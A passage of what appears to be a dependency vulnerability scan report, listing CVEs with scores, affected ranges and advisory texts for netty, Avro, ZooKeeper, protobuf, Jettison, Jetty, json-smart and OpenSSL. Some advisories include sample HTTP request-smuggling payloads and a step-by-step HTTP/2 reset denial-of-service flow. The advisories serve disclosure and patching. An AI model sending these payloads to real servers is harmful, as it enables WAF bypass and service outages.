https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) - -pkg:maven/org.apache.avro/avro@1.11.2
-critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.489%
EPSS Percentile65th percentile
- -
Description -
- -Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. -Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. - -
-
- -high 7.5: CVE--2023--39410 Improper Input Validation - - - - - - - - -
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
- -
Description -
- -When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. - -This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. - -
-
-
-
critical: 1 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.6.3 (maven) - -pkg:maven/org.apache.zookeeper/zookeeper@3.6.3
-critical 9.1: CVE--2023--44981 Authorization Bypass Through User-Controlled Key - - - - - - - - -
Affected range<3.7.2
Fixed version3.7.2
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -Authorization Bypass Through User-Controlled Key vulnerability in Apache ZooKeeper. If SASL Quorum Peer authentication is enabled in ZooKeeper (quorum.auth.enableSasl=true), the authorization is done by verifying that the instance part in SASL authentication ID is listed in zoo.cfg server list. The instance part in SASL auth ID is optional and if it's missing, like 'eve@EXAMPLE.COM', the authorization check will be skipped. As a result an arbitrary endpoint could join the cluster and begin propagating counterfeit changes to the leader, essentially giving it complete read-write access to the data tree. Quorum Peer authentication is not enabled by default. - -Users are recommended to upgrade to version 3.9.1, 3.8.3, 3.7.2, which fixes the issue. - -Alternately ensure the ensemble election/quorum communication is protected by a firewall as this will mitigate the issue. - -See the documentation for more details on correct cluster administration. - -
-
- -medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor - - - - - - - - -
Affected range>=3.6.0
<=3.7.2
Fixed versionNot Fixed
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- -Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. - -Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) - -pkg:maven/org.apache.kerby/kerb-admin@1.0.1
-critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.187%
EPSS Percentile41st percentile
- -
Description -
- -An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.066%
EPSS Percentile20th percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) - -pkg:maven/org.codehaus.jettison/jettison@1.1
-high 7.5: CVE--2023--1436 Uncontrolled Recursion - - - - - - - - -
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- -An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. - -
-
- -high 7.5: CVE--2022--45693 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.126%
EPSS Percentile33rd percentile
- -
Description -
- -Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. - -
-
- -high 7.5: CVE--2022--45685 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.126%
EPSS Percentile33rd percentile
- -
Description -
- -A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. - -
-
- -high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. - -
-
- -medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow - - - - - - - - -
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. - -
-
-
-
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
-high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.076%
EPSS Percentile23rd percentile
- -
Description -
- -Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” - -### MadeYouReset Vulnerability Summary -The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. - -### Mechanism -The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). -The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: -1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) -2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) -3. PRIORITY frame with a length other than 5. (section 6.3) -From our experience, the primitives are likely to exist in the decreasing order listed above. -Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. - -The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. -While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. - -Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. - -### Attack Flow -For example, a possible attack scenario can be: -1. Attacker opens an HTTP/2 connection to the server. -2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. -3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. -4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). - -The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. -This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) - -### Comparison to Rapid Reset -The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. -The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. -Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. - -### Suggested Mitigations for MadeYouReset -A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. -It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. - -As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. - - -If you have any questions, we will be happy to clarify or schedule a Zoom call. - -Gal, Anat and Yaniv. - -
-
- -high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption - - - - - - -
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- -
Description -
- -A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. - -### Impact -This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. - -### Patches -This is patched in version 4.1.100.Final. - -### Workarounds -A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-44487 -- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ -- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ - -
-
- -high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.419%
EPSS Percentile100th percentile
- -
Description -
- -The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. - -
-
-
-
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) - -pkg:maven/net.minidev/json-smart@1.3.2
-high 7.5: CVE--2023--1370 Uncontrolled Recursion - - - - - - - - -
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.012%
EPSS Percentile1st percentile
- -
Description -
- -### Impact -Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. - -When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. - -### Patches -This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. - -### Workarounds -N/A - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-1370 -- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 -- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 - -
-
- -high 7.5: CVE--2021--31684 Out-of-bounds Read - - - - - - - - -
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
- -
Description -
- -A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
- -medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.027%
